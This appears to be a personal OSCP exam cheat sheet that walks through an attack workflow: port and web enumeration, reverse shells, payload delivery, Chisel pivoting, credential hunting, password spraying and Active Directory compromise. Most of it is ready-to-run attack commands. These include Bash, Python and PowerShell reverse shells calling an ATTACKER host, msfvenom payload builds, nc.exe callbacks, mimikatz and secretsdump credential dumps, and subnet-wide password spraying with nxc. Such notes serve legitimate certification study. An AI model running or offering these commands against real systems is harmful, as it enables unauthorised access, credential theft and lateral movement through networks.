x
If a password contains " ! " :   it is neccesary to scape it with \ =  " \! "
Even using ' ' will cause issues with command executions and will not read the ! 

Always use "\!" when there is ! in passwords

example:

nxc smb 10.10.10.10 -u offsec -p "Password1\!"
==nxc smb 10.10.10.10 -u offsec -p 'Password1!'  will not work properly==

export ip=<TARGET_IP>
script -a /home/kali/oscp/exam_log_$(date +%F).txt

# Start your tools HTTP server NOW — run in a SEPARATE terminal tab
# so your working directory doesn't change:
python3 -m http.server 80 -d ~/Tools &
# ~/Tools should have: linpeas.sh, winpeas.exe, chisel, chisel.exe,
#   nc.exe, SharpHound.exe, PowerView.ps1, pspy64, GodPotato.exe, PrintSpoofer64.exe

# AD set — DNS and time sync
sudo ntpdate <DC_IP>
# Add ALL names from nmap (FQDN + domain + hostname) on ONE line:
echo "<DC_IP> dc.domain.local domain.local dc" | sudo tee -a /etc/hosts
# resolv.conf: keep 8.8.8.8 for internet. DC goes in /etc/hosts ONLY.
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

# Terminal 1: Fast all-port TCP
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip

# Terminal 2: Top 20 UDP
sudo nmap -Pn -sU --top-ports=20 -oN udp_top20.txt $ip

# Terminal 3: Targeted scan (after fast scan finishes)
ports=$(grep '^[0-9]' fast_tcp.txt | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -A -Pn -sC -sV -p $ports -oA targeted $ip

# Vuln scan (run while you manually enumerate)
sudo nmap -sV -p $ports --script "vuln" $ip -oN vuln.txt

curl http://$ip:PORT/endpoint                # GET
curl -d "" -X POST http://$ip:PORT/endpoint  # POST (adds content-length)

feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,asp,aspx,jsp,bak -C 404 -t 50
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50

# Check for cgi-bin (Shellshock!)
gobuster dir -u http://$ip/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi -t 50

# Virtual hosts (if domain name known)
ffuf -u http://$ip/ -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>

# Nikto (run in background — slow but finds things)
nikto -h http://$ip -o nikto.txt &

wpscan --url http://$ip --enumerate p --plugins-detection aggressive  # WordPress
droopescan scan drupal -u http://$ip      # Drupal

rlwrap nc -lvnp 443    # port 443 -- port 4444 is often blocked by firewalls

# Bash
bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'
# Python (Linux)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PowerShell (Windows — when you can run commands but can't upload files yet)
powershell -nop -w hidden -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS '+(pwd).Path+'> ';$s.Write(([Text.Encoding]::ASCII.GetBytes($t)),0,$t.Length);$s.Flush()};$c.Close()" 
# msfvenom
# 64-bit (try first)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o shell.exe
# 32-bit (if target is x86 — check with `file` on Linux or `systeminfo` on Windows)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o shell32.elf
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o shell32.exe

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter Enter
export TERM=xterm-256color
stty rows 50 cols 200

# Switch from cmd to PowerShell on the target:
powershell -ep bypass

# If shell keeps dying — use nc.exe for a new callback (already uploaded in Step 2b):
C:\Windows\Temp\nc.exe KALI_IP 443 -e cmd.exe
# Catch it on Kali in a different terminal: rlwrap nc -lvnp 443

# Linux                        # Windows
whoami && id                   whoami /all
hostname                       hostname
ip a                           ipconfig /all

# Upload to Linux target
wget http://KALI/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
wget http://KALI/chisel -O /tmp/chisel && chmod +x /tmp/chisel
wget http://KALI/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64

# Upload to Windows target
certutil -urlcache -f http://KALI/winpeas.exe C:\Windows\Temp\winpeas.exe
certutil -urlcache -f http://KALI/chisel.exe C:\Windows\Temp\chisel.exe
certutil -urlcache -f http://KALI/nc.exe C:\Windows\Temp\nc.exe
# Alt if certutil blocked:
powershell -c "iwr http://KALI/winpeas.exe -OutFile C:\Windows\Temp\winpeas.exe"
# Via evil-winrm (has built-in upload):
upload /home/kali/Tools/winpeas.exe C:\Windows\Temp\winpeas.exe

# Option 1: evil-winrm built-in
*Evil-WinRM* PS> download C:\Windows\Temp\winpeas.txt .

# Option 2: SMB server on Kali (run in separate terminal)
impacket-smbserver smb $(pwd) -smb2support
# Then on target: copy C:\Windows\Temp\winpeas.txt \\KALI_IP\smb\winpeas.txt

cat /home/*/local.txt && cat /root/proof.txt 2>/dev/null          # Linux
Get-ChildItem -Path C:\Users -Recurse -Filter local.txt -ErrorAction SilentlyContinue | Get-Content   # Windows
Get-ChildItem -Path C:\Users -Recurse -Filter proof.txt -ErrorAction SilentlyContinue | Get-Content

# LINUX                            # WINDOWS
ip a                               ipconfig /all
ip route                           route print
arp -a                             arp -a
ss -tulnp                          netstat -ano | findstr LISTENING

# Terminal on Kali — start Chisel server
./chisel server -p 9999 --reverse

# Chisel binary should already be on target from Step 2b.
# If not: download from your python3 HTTP server on port 80.

# On compromised machine — connect back
# Linux:
./chisel client KALI_IP:9999 R:socks 
# Windows:
.\chisel.exe client KALI_IP:9999 R:socks

# Edit /etc/proxychains4.conf on Kali — change last line to:
# socks5 127.0.0.1 1080

# Now ALL your Kali tools work through the tunnel:
proxychains -q nmap -sT -Pn -p 80,445,5985,3389 INTERNAL_IP
proxychains -q curl http://INTERNAL_IP
proxychains -q evil-winrm -i INTERNAL_IP -u USER -p PASS
proxychains -q smbclient -L //INTERNAL_IP -U USER

# Chisel server should already be running from scenario A. If not:
# ./chisel server -p 9999 --reverse

# On target — chisel binary should already be there from Step 2b.
# TIP: You can combine SOCKS + port forward in one client connection:
# ./chisel client KALI_IP:9999 R:socks R:9090:127.0.0.1:8080
# Forward target's localhost:8080 to Kali's localhost:9090
.\chisel.exe client KALI_IP:9999 R:9090:127.0.0.1:8080
# Linux: ./chisel client KALI_IP:9999 R:9090:127.0.0.1:8080

# Step 3: On Kali — access the forwarded service
curl http://127.0.0.1:9090
# Or open in browser: http://127.0.0.1:9090

# MySQL (from C:\xampp\mysql\bin or wherever mysql.exe lives)
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "USE dbname; SELECT * FROM users;"
# ⚠️ Evil-WinRM hangs on interactive prompts — always use -e flag

# Identify what process owns an unknown port (no admin needed)
Get-Process -Id <PID> | Select-Object Name,Path
# Or map ALL ports at once:
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort

# Linux: bash history, config files, env vars, .git repos
cat ~/.bash_history
env | grep -i pass
find / -name ".git" -type d 2>/dev/null
grep -ri 'password' /var/www/ /opt/ /home/ 2>/dev/null

# Windows — commands that work in BOTH CMD and PS:
whoami /all
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
netstat -ano | findstr LISTENING

# CMD-only (if your prompt is C:\>):
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Panther\unattend.xml 2>nul

# PS-only (if your prompt is PS C:\>):
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -EA SilentlyContinue
Get-Content C:\Windows\Panther\unattend.xml -EA SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter *.kdbx -EA SilentlyContinue | Select FullName

# Hidden AppData — PS only (dir WON'T show this folder, WinPEAS MISSES it):
Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -EA SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path
# Then read whatever it finds: Get-Content "<PATH>" -EA SilentlyContinue

# Windows: Check local databases for creds (if MySQL/MSSQL found in Step 4)
.\mysql.exe -u root -e "SHOW DATABASES;"
# Then dump every non-default database:
.\mysql.exe -u root -e "USE creds; SHOW TABLES;"
.\mysql.exe -u root -e "USE creds; SELECT * FROM users;"
.\mysql.exe -u root -e "USE wordpress; SELECT user_login,user_pass FROM wp_users;"

# Create files with ALL creds found so far
echo -e "administrator\ncharlotte\njohn" > users.txt
echo -e "Password1\nFound_Pass2" > passes.txt

# Spray ALL users x ALL passwords x ALL services x ALL IPs
nxc smb <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc winrm <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc rdp <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success
nxc mssql <SUBNET>/24 -u users.txt -p passes.txt --continue-on-success

# 1. Screenshot proof (all 4 in one shot — DO NOT SKIP)
# Linux:  whoami && hostname && ip a && cat /root/proof.txt
# Windows: whoami; hostname; ipconfig; type C:\Users\Administrator\Desktop\proof.txt

# 2. Dump all credentials (memory + registry)
# From Kali: impacket-secretsdump 'DOMAIN/USER:PASS'@TARGET_IP
# On Windows: mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"
# On Linux: cat /etc/shadow

# Run the 8-check checklist. This catches creds that mimikatz/secretsdump MISS:
# log files with hashes, text files with plaintext creds, SSH keys, backup files, web configs

# 4. Check for internal networks AGAIN (root may see new interfaces)
# ip a / ipconfig /all — re-run Step 4

# 5. SPRAY all new creds immediately
nxc smb ALL_IPS -u 'NEW_USER' -p 'NEW_PASS' --continue-on-success

PrintSpoofer.exe -i -c cmd
GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"

# Save output to file first
./linpeas.sh | tee linpeas.txt
==
# Then search for what matters:
grep -A5 '\[1\]' linpeas.txt                    # RED/YELLOW findings (highest priority)
grep -A3 'sudo -l' linpeas.txt                    # sudo permissions
grep -B2 -A2 'SUID' linpeas.txt                   # SUID binaries
grep -B2 -A5 'Cron' linpeas.txt                    # cron jobs
grep -A3 'Capabilities' linpeas.txt                # file capabilities
grep -B2 -A5 'password\|credential' linpeas.txt   # passwords in files
grep -A3 'writable' linpeas.txt                    # writable files/dirs
grep -A5 'docker\|lxd' linpeas.txt                # container escapes
grep -A3 '127.0.0.1' linpeas.txt                  # localhost-only services

.\winPEASx64.exe cmd | Tee-Object -FilePath .\winpeas.txt

# Save output to file (redirect because colors make it unreadable in terminal)
.\winpeas.exe cmd > C:\Windows\Temp\winpeas.txt

# Download to Kali (SMB server or evil-winrm download)
# Then search:
grep -A5 'Password\|credential\|AutoLogon' winpeas.txt
grep -A5 'SeImpersonate\|SeBackup\|SeDebug\|SeRestore' winpeas.txt
grep -A5 'Unquoted\|Modifiable' winpeas.txt        # service misconfigs
grep -A5 'AlwaysInstallElevated' winpeas.txt
grep -A5 'PSReadLine\|ConsoleHost_history' winpeas.txt
grep -A5 'Unattend\|web.config\|SiteList' winpeas.txt
grep -B2 -A5 '127.0.0.1' winpeas.txt              # localhost services
grep -A3 'Backup Operators\|Server Operators\|DnsAdmins' winpeas.txt

1. Given creds → BloodHound + netexec enum (Playbook Phase 1)
2. Kerberoast + AS-REP roast → crack → spray (Phase 2)
3. Check BloodHound: ACL edges? ADCS? Delegation? (Phase 3-4)
4. Every machine you get admin on → secretsdump → spray new hashes (Phase 5-6)
5. Repeat steps 2-4 with every new credential
6. DA → DCSync → PtH to DC → proof.txt (Phase 9)